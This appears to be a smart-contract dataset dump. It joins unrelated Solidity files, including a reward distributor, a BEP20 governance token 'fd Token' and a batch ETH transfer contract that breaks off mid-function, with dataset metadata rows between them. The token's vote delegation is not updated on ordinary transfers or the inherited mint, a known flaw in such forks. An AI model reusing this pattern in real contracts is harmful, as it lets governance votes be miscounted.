library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeERC20 for IERC20;
address public immutable GLA;
address public immutable treasury;
uint public immutable epochLength;
uint public nextEpochBlock;
mapping(uint => Adjust) public adjustments;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _GLA, uint _epochLength, uint _nextEpochBlock) {
require(_treasury != address(0));
treasury = _treasury;
require(_GLA != address(0));
GLA = _GLA;
epochLength = _epochLength;
nextEpochBlock = _nextEpochBlock;
}
function distribute() external returns (bool) {
if (nextEpochBlock <= block.number) {
nextEpochBlock = nextEpochBlock.add(epochLength); // set next epoch block
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
if (adjustment.add) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate
if (info[ _index ].rate >= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate
if (info[ _index ].rate <= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return IERC20(GLA).totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[ _index ].recipient);
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 35,836 | 11,231 |
d17c656b3719f355320558c76694d6eda67be725fba8ee656c106323a11527df
| 39,533 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/ea/ea7b8cc26724b070c37a8b3edfd4aabdf165e94e_Address.sol
| 5,011 | 20,045 |
pragma solidity 0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal virtual {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "BEP20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account,
_msgSender(),
_allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance"));
}
}
// fdToken with Governance.
contract fdToken is BEP20('fd Token', 'fd') {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @notice A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s)
external
{
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01",
domainSeparator,
structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "fd::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "fd::delegateBySig: invalid nonce");
require(now <= expiry, "fd::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "fd::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying fds (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes)
internal
{
uint32 blockNumber = safe32(block.number, "fd::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 123,856 | 11,232 |
b42c85fda97c3c835605d17e41cd695e0de68b3aabfce09d7f9728b5e774f6fa
| 19,873 |
.sol
|
Solidity
| false |
536898690
|
Web3-Duck/MultiTransferContract
|
1ac18dcf8ee7f164e4766ccb76aaeffd6842a444
|
mutilTransfer.sol
| 2,850 | 11,497 |
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract MutilTransfer is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
uint256 public fee = 0; //
function transferEth(address payable[] memory to, uint256 amount)
public
payable
{
uint256 length = to.length;
require(msg.value == length.mul(amount).add(fee),
"Transfer amount error");
payable(owner()).transfer(fee);
for (uint256 i = 0; i < length; i++) {
to[i].transfer(amount);
}
}
function transferProEth(address payable[] memory to, uint256[] memory amount)
public
payable
{
uint256 length = to.length;
